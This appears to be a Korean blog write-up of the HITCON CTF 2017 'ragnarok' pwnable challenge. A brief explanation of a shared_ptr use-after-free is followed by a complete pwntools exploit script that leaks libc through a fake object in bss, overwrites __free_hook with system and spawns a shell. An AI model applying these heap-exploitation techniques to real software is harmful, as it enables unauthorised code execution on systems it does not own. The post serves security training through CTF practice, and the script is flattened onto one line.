-
HITCON CTF 2017 ragnarokPwnable/CTF 2018. 2. 1. 16:24
오류때문에 푸는데 오래걸린것같다.
odin weapon 이름이 Gungnir 이라면 this 포인터로 shared_ptr을 만드는데 이곳에서 취약점이 생긴다. this <- new shared_ptr < - X참조 하는것이 이런식으로되는데
new_shared_ptr 은 this 포인터와 주소는 같지만 이번에 새로 만드는것이라 new shread_ptr을 참조카운터는 0이기때문에 함수가 끝나게되면 new shared_ptr도 같이 delete가 되면서 UAF가 가능해진다.
저렇게 free를하면 vtable도 같이 사라지는데 이때 우리가 할수있는것은 earn_money, chagne description 이다.earn_money는 딱히 쓸모가없고 description으로 공격을할수있다.
string 객체를 40개 넣으면 free를 하고 다시 할당해야되기때문에 위에서 delete를 했었기때문에 double free bug오류가나는데 그것보다 훨씬 큰 90? 이상정도넣으면 free가되는것이아니라 0x80 사이즈로 바뀌면서(string객체 테스트 결과) odin ptr부분에 uaf를 하게되어서 값을덮을수있다.
그렇게하여서 bss에 fake class? 를 만들어주어서 puts를 릭을해주고 description change로 free_hook을 덮을수있다.원래 bss에 안 하고 바로 heap에다가 공격할려했는데 heap을 free시키고 내가 description으로 조작한곳으로 입력을 하는바람에 heap에다가 공격을하지않았다.
vtable을 덮거나, malloc_hook을 덮어서 one_shot을 할려고하면 can't open 에러가 떠서 free_hook을 덮어서 weapon을 입력할때 무기가 있는지 체크하기전에 string에 값을넣기때문에 조금 많은값을 넣게되면 작은 사이즈를 free를 시키고 다시할당하는데 그 때 free가 되는것을 이용하여서 쉘을 딸수있다.123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112from pwn import *from ctypes import *import sysp=process('./ragnarok.bin')libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')libc.srand(libc.time(0))elf=ELF('./ragnarok.bin')i = libc.rand() % 3 + 1print idef choose(figure):p.sendlineafter('choice :','1')p.sendlineafter(':',str(figure))def show():p.sendlineafter('choice :','2')def earnMoney(get):charset = 'hitcon'p.sendlineafter('choice :','3')p.recvuntil('station')for i in range(get):libc.usleep(100000)idx = int(libc.rand()) % 6c = libc.rand() % 0x5e + 0x21padding = libc.rand() % 0x42p.sendlineafter('Magic : ',charset[idx])p.sendlineafter('Magic : ','q')def weapon(name):p.sendlineafter('choice :','4')p.sendlineafter('weapon :',name)def fight(action):p.sendlineafter('choice :','5')while(True):p.recv(2048)p.sendline(str(action))if action == 3:p.sendlineafter('Target :','1')print p.recvline()condition = p.recvline() *2condition += p.recv(54)if 'die' in condition:return -1elif 'win' in condition:return 0elif 'no power' in condition:return -1else:continuedef changeDes(des):p.sendlineafter('choice :','6')p.sendlineafter(': ',des)def win():choose(3)condition = fight(3)if condition == -1:sys.exit(0)return conditiondef lose(replay):fight(1)p.sendlineafter(':',str(replay))earnMoney(6)win()p.sendlineafter('Name :','a'*4)lose(1) #replay#win()#lose(1)choose(1)weapon('Gungnir') #uaf#bss = 0x6137c8bss = 0x613650payload = p64(0x613670)payload += p64(0x613700)payload += p64(0x610f90) #my namepayload += p64(0x8) #my name lenpayload += p64(0x40c700) #vtablepayload += p64(0x613650) #char name startpayload += p64(0x8) #money,highmoney == name_lenpayload += 'A'*16 #char name endpayload += p64(0x613680) #0x613650payload += p64(0x78)payload += 'B'*16 #char des endpayload += p64(0x613700) #char weapon startpayload += p64(0) #char weapon endchangeDes(payload)sleep(1)show()p.recvuntil('Name : ')puts = u64(p.recv(8))libc_base = puts - 0x6f690system = libc_base + 0x45390one_shot = libc_base + 0xf1147malloc_hook = libc_base + 0x3c4b10free_hook = libc_base + 0x3c67a8print hex(puts)print hex(libc_base)print hex(one_shot)changeDes(p64(0x99999999)+'A'*16+p64(free_hook)+p64(0x78))#money,highmoney, cahr name end, description ptr + len changechangeDes(p64(system))weapon('/bin/sh'+'\x00'*20)p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
코드게이트 2018 풀이 보고서 (0) 2018.02.07 Codegate 2018 SuperFTP (0) 2018.02.05 HITCON CTF 2017 babyfs (0) 2018.01.30 defcon 2016 pillpusher (1) 2018.01.24 insomnihack CTF 2018 sapeloshop (0) 2018.01.23